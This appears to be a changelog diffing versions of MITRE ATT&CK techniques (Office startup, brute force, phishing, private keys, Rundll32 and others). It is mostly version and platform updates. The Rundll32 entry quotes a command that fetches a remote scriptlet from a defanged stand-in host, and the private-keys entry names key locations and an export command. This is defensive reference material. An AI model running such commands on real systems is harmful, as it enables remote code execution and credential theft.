| external_references[2]['url'] | https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf | https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1137] Office Application Startup
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 20:18:31.112000+00:00 | 2024-10-15 16:01:21.255000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[T1137.001] Office Application Startup: Office Template Macros
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:27:10.873000+00:00 | 2024-10-15 16:01:35.918000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[T1137.002] Office Application Startup: Office Test
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-16 12:41:55.175000+00:00 | 2024-10-15 16:01:48.325000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[T1137.003] Office Application Startup: Outlook Forms
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:29:19.697000+00:00 | 2024-10-15 16:02:00.782000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[T1137.004] Office Application Startup: Outlook Home Page
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 21:30:01.743000+00:00 | 2024-10-15 16:02:13.742000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[T1137.005] Office Application Startup: Outlook Rules
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 20:18:30.700000+00:00 | 2024-10-15 16:02:26.206000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[T1110.002] Brute Force: Password Cracking
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:48.643000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
| x_mitre_platforms[4] | Azure AD | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1556.002] Modify Authentication Process: Password Filter DLL
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-20 20:11:55.147000+00:00 | 2024-08-21 16:16:18.271000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
[T1110.001] Brute Force: Password Guessing
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-10-16 16:57:41.743000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.5 | 1.6 |
| x_mitre_platforms[7] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1555.005] Credentials from Password Stores: Password Managers
Current version: 1.1
Version changed from: 1.0 → 1.1
New Mitigations:
- M1017: User Training
- M1018: User Account Management
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-25 13:18:55.310000+00:00 | 2024-08-19 13:53:33.661000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[T1201] Password Policy Discovery
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-09-06 22:01:45.067000+00:00 | 2024-10-15 16:02:44.477000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.5 | 1.6 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
| x_mitre_platforms | | SaaS |
| x_mitre_platforms | | Office Suite |
[T1110.003] Brute Force: Password Spraying
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-07 14:33:34.201000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.5 | 1.6 |
| x_mitre_platforms[7] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1069] Permission Groups Discovery
Current version: 2.6
Version changed from: 2.5 → 2.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 17:26:53.365000+00:00 | 2024-10-15 16:03:06.294000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 2.5 | 2.6 |
| x_mitre_platforms[7] | Google Workspace | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1566] Phishing
Current version: 2.6
Version changed from: 2.5 → 2.6
|
|
|---|
| t | Adversaries may send phishing messages to gain access to vic | t | Adversaries may send phishing messages to gain access to vic |
| tim systems. All forms of phishing are electronically delive | | tim systems. All forms of phishing are electronically delive |
| red social engineering. Phishing can be targeted, known as s | | red social engineering. Phishing can be targeted, known as s |
| pearphishing. In spearphishing, a specific individual, compa | | pearphishing. In spearphishing, a specific individual, compa |
| ny, or industry will be targeted by the adversary. More gene | | ny, or industry will be targeted by the adversary. More gene |
| rally, adversaries can conduct non-targeted phishing, such a | | rally, adversaries can conduct non-targeted phishing, such a |
| s in mass malware spam campaigns. Adversaries may send vict | | s in mass malware spam campaigns. Adversaries may send vict |
| ims emails containing malicious attachments or links, typica | | ims emails containing malicious attachments or links, typica |
| lly to execute malicious code on victim systems. Phishing ma | | lly to execute malicious code on victim systems. Phishing ma |
| y also be conducted via third-party services, like social me | | y also be conducted via third-party services, like social me |
| dia platforms. Phishing may also involve social engineering | | dia platforms. Phishing may also involve social engineering |
| techniques, such as posing as a trusted source, as well as e | | techniques, such as posing as a trusted source, as well as e |
| vasive techniques such as removing or manipulating emails or | | vasive techniques such as removing or manipulating emails or |
| metadata/headers from compromised accounts being abused to | | metadata/headers from compromised accounts being abused to |
| send messages (e.g., [Email Hiding Rules](https://attack.mit | | send messages (e.g., [Email Hiding Rules](https://attack.mit |
| re.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spa | | re.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spa |
| m 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) An | | m 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) An |
| other way to accomplish this is by forging or spoofing(Citat | | other way to accomplish this is by forging or spoofing(Citat |
| ion: Proofpoint-spoof) the identity of the sender which can | | ion: Proofpoint-spoof) the identity of the sender which can |
| be used to fool both the human recipient as well as automate | | be used to fool both the human recipient as well as automate |
| d security tools.(Citation: cyberproof-double-bounce) Vict | | d security tools,(Citation: cyberproof-double-bounce) or by |
| ims may also receive phishing messages that instruct them to | | including the intended target as a party to an existing emai |
| call a phone number where they are directed to visit a mali | | l thread that includes malicious files or links (i.e., "thre |
| cious URL, download malware,(Citation: sygnia Luna Month)(Ci | | ad hijacking").(Citation: phishing-krebs) Victims may also |
| tation: CISA Remote Monitoring and Management Software) or i | | receive phishing messages that instruct them to call a phone |
| nstall adversary-accessible remote management tools onto the | | number where they are directed to visit a malicious URL, do |
| ir computer (i.e., [User Execution](https://attack.mitre.org | | wnload malware,(Citation: sygnia Luna Month)(Citation: CISA |
| /techniques/T1204)).(Citation: Unit42 Luna Moth) | | Remote Monitoring and Management Software) or install advers |
| | | ary-accessible remote management tools onto their computer ( |
| | | i.e., [User Execution](https://attack.mitre.org/techniques/T |
| | | 1204)).(Citation: Unit42 Luna Moth) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 16:56:32.245000+00:00 | 2024-10-07 15:00:19.668000+00:00 |
| description | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.
Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)
Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth) | Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.
Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., "thread hijacking").(Citation: phishing-krebs)
Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth) |
| external_references[1]['url'] | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
| x_mitre_version | 2.5 | 2.6 |
| x_mitre_platforms[4] | Office 365 | Identity Provider |
| x_mitre_platforms[5] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'phishing-krebs', 'description': 'Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.', 'url': 'https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/'} |
[T1556.003] Modify Authentication Process: Pluggable Authentication Modules
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['root'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-17 14:48:33.580000+00:00 | 2024-08-21 16:19:55.082000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
[T1552.004] Unsecured Credentials: Private Keys
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may search for private key certificate files on | t | Adversaries may search for private key certificate files on |
| compromised systems for insecurely stored credentials. Priva | | compromised systems for insecurely stored credentials. Priva |
| te cryptographic keys and certificates are used for authenti | | te cryptographic keys and certificates are used for authenti |
| cation, encryption/decryption, and digital signatures.(Citat | | cation, encryption/decryption, and digital signatures.(Citat |
| ion: Wikipedia Public Key Crypto) Common key and certificate | | ion: Wikipedia Public Key Crypto) Common key and certificate |
| file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe | | file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pe |
| m, .pfx, .cer, .p7b, .asc. Adversaries may also look in co | | m, .pfx, .cer, .p7b, .asc. Adversaries may also look in co |
| mmon key directories, such as <code>~/.ssh</code> for SSH ke | | mmon key directories, such as <code>~/.ssh</code> for SSH ke |
| ys on * nix-based systems or <code>C:\Users\(usernam | | ys on * nix-based systems or <code>C:\Users\(usernam |
| e)\.ssh\</code> on Windows. Adversary tools may also | | e)\.ssh\</code> on Windows. Adversary tools may also |
| search compromised systems for file extensions relating to | | search compromised systems for file extensions relating to |
| cryptographic keys and certificates.(Citation: Kaspersky Car | | cryptographic keys and certificates.(Citation: Kaspersky Car |
| eto)(Citation: Palo Alto Prince of Persia) When a device is | | eto)(Citation: Palo Alto Prince of Persia) When a device is |
| registered to Azure AD, a device key and a transport key ar | | registered to Entra ID, a device key and a transport key ar |
| e generated and used to verify the device’s identity.(Citati | | e generated and used to verify the device’s identity.(Citati |
| on: Microsoft Primary Refresh Token) An adversary with acces | | on: Microsoft Primary Refresh Token) An adversary with acces |
| s to the device may be able to export the keys in order to i | | s to the device may be able to export the keys in order to i |
| mpersonate the device.(Citation: AADInternals Azure AD Devic | | mpersonate the device.(Citation: AADInternals Azure AD Devic |
| e Identities) On network devices, private keys may be expor | | e Identities) On network devices, private keys may be expor |
| ted via [Network Device CLI](https://attack.mitre.org/techni | | ted via [Network Device CLI](https://attack.mitre.org/techni |
| ques/T1059/008) commands such as `crypto pki export`.(Citati | | ques/T1059/008) commands such as `crypto pki export`.(Citati |
| on: cisco_deploy_rsa_keys) Some private keys require a pas | | on: cisco_deploy_rsa_keys) Some private keys require a pas |
| sword or passphrase for operation, so an adversary may also | | sword or passphrase for operation, so an adversary may also |
| use [Input Capture](https://attack.mitre.org/techniques/T105 | | use [Input Capture](https://attack.mitre.org/techniques/T105 |
| 6) for keylogging or attempt to [Brute Force](https://attack | | 6) for keylogging or attempt to [Brute Force](https://attack |
| .mitre.org/techniques/T1110) the passphrase off-line. These | | .mitre.org/techniques/T1110) the passphrase off-line. These |
| private keys can be used to authenticate to [Remote Services | | private keys can be used to authenticate to [Remote Services |
| ](https://attack.mitre.org/techniques/T1021) like SSH or for | | ](https://attack.mitre.org/techniques/T1021) like SSH or for |
| use in decrypting other collected files such as email. | | use in decrypting other collected files such as email. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-12 23:52:08.194000+00:00 | 2024-10-04 11:31:56.622000+00:00 |
| description | Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)
Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. | Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)
Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. |
| external_references[4]['url'] | https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf | https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
[T1498.002] Network Denial of Service: Reflection Amplification
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:41.052000+00:00 | 2024-10-15 16:04:34.495000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1114.002] Email Collection: Remote Email Collection
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
- M1060: Out-of-Band Communications Channel
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | ['Arun Seelagan, CISA'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-05-31 12:34:03.420000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1556.005] Modify Authentication Process: Reversible Encryption
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-02-10 21:35:25.377000+00:00 | 2024-08-26 15:40:31.871000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
[T1218.011] System Binary Proxy Execution: Rundll32
Current version: 2.3
Version changed from: 2.2 → 2.3
|
|
|---|
| t | Adversaries may abuse rundll32.exe to proxy execution of mal | t | Adversaries may abuse rundll32.exe to proxy execution of mal |
| icious code. Using rundll32.exe, vice executing directly (i. | | icious code. Using rundll32.exe, vice executing directly (i. |
| e. [Shared Modules](https://attack.mitre.org/techniques/T112 | | e. [Shared Modules](https://attack.mitre.org/techniques/T112 |
| 9)), may avoid triggering security tools that may not monito | | 9)), may avoid triggering security tools that may not monito |
| r execution of the rundll32.exe process because of allowlist | | r execution of the rundll32.exe process because of allowlist |
| s or false positives from normal operations. Rundll32.exe is | | s or false positives from normal operations. Rundll32.exe is |
| commonly associated with executing DLL payloads (ex: <code> | | commonly associated with executing DLL payloads (ex: <code> |
| rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c |
| an also be used to execute [Control Panel](https://attack.mi | | an also be used to execute [Control Panel](https://attack.mi |
| tre.org/techniques/T1218/002) Item files (.cpl) through the | | tre.org/techniques/T1218/002) Item files (.cpl) through the |
| undocumented shell32.dll functions <code>Control_RunDLL</cod | | undocumented shell32.dll functions <code>Control_RunDLL</cod |
| e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a |
| .cpl file also causes rundll32.exe to execute. (Citation: Tr | | .cpl file also causes rundll32.exe to execute.(Citation: Tre |
| end Micro CPL) Rundll32 can also be used to execute scripts | | nd Micro CPL) For example, [ClickOnce](https://attack.mitre. |
| such as JavaScript. This can be done using a syntax similar | | org/techniques/T1127/002) can be proxied through Rundll32.ex |
| to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLA | | e. Rundll32 can also be used to execute scripts such as Jav |
| pplication ";document.write();GetObject("script:https[:]//ww | | aScript. This can be done using a syntax similar to this: <c |
| w[.]example[.]com/malicious.sct")"</code> This behavior has | | ode>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication " |
| been seen used by malware such as Poweliks. (Citation: This | | ;document.write();GetObject("script:https[:]//www[.]example[ |
| is Security Command Line Confusion) Adversaries may also a | | .]com/malicious.sct")"</code> This behavior has been seen u |
| ttempt to obscure malicious code from analysis by abusing th | | sed by malware such as Poweliks. (Citation: This is Security |
| e manner in which rundll32.exe loads DLL function names. As | | Command Line Confusion) Adversaries may also attempt to ob |
| part of Windows compatibility support for various character | | scure malicious code from analysis by abusing the manner in |
| sets, rundll32.exe will first check for wide/Unicode then AN | | which rundll32.exe loads DLL function names. As part of Wind |
| SI character-supported functions before loading the specifie | | ows compatibility support for various character sets, rundll |
| d function (e.g., given the command <code>rundll32.exe Examp | | 32.exe will first check for wide/Unicode then ANSI character |
| leDLL.dll, ExampleFunction</code>, rundll32.exe would first | | -supported functions before loading the specified function ( |
| attempt to execute <code>ExampleFunctionW</code>, or failing | | e.g., given the command <code>rundll32.exe ExampleDLL.dll, E |
| that <code>ExampleFunctionA</code>, before loading <code>Ex | | xampleFunction</code>, rundll32.exe would first attempt to e |
| ampleFunction</code>). Adversaries may therefore obscure mal | | xecute <code>ExampleFunctionW</code>, or failing that <code> |
| icious code by creating multiple identical exported function | | ExampleFunctionA</code>, before loading <code>ExampleFunctio |
| names and appending <code>W</code> and/or <code>A</code> to | | n</code>). Adversaries may therefore obscure malicious code |
| harmless ones.(Citation: Attackify Rundll32.exe Obscurity)( | | by creating multiple identical exported function names and a |
| Citation: Github NoRunDll) DLL functions can also be exporte | | ppending <code>W</code> and/or <code>A</code> to harmless on |
| d and executed by an ordinal number (ex: <code>rundll32.exe | | es.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Gi |
| file.dll,#1</code>). Additionally, adversaries may use [Mas | | thub NoRunDll) DLL functions can also be exported and execut |
| querading](https://attack.mitre.org/techniques/T1036) techni | | ed by an ordinal number (ex: <code>rundll32.exe file.dll,#1< |
| ques (such as changing DLL file names, file extensions, or f | | /code>). Additionally, adversaries may use [Masquerading](h |
| unction names) to further conceal execution of a malicious p | | ttps://attack.mitre.org/techniques/T1036) techniques (such a |
| ayload.(Citation: rundll32.exe defense evasion) | | s changing DLL file names, file extensions, or function name |
| | | s) to further conceal execution of a malicious payload.(Cita |
| | | tion: rundll32.exe defense evasion) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-08-14 15:35:28.965000+00:00 | 2024-10-14 13:14:43.083000+00:00 |
| description | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
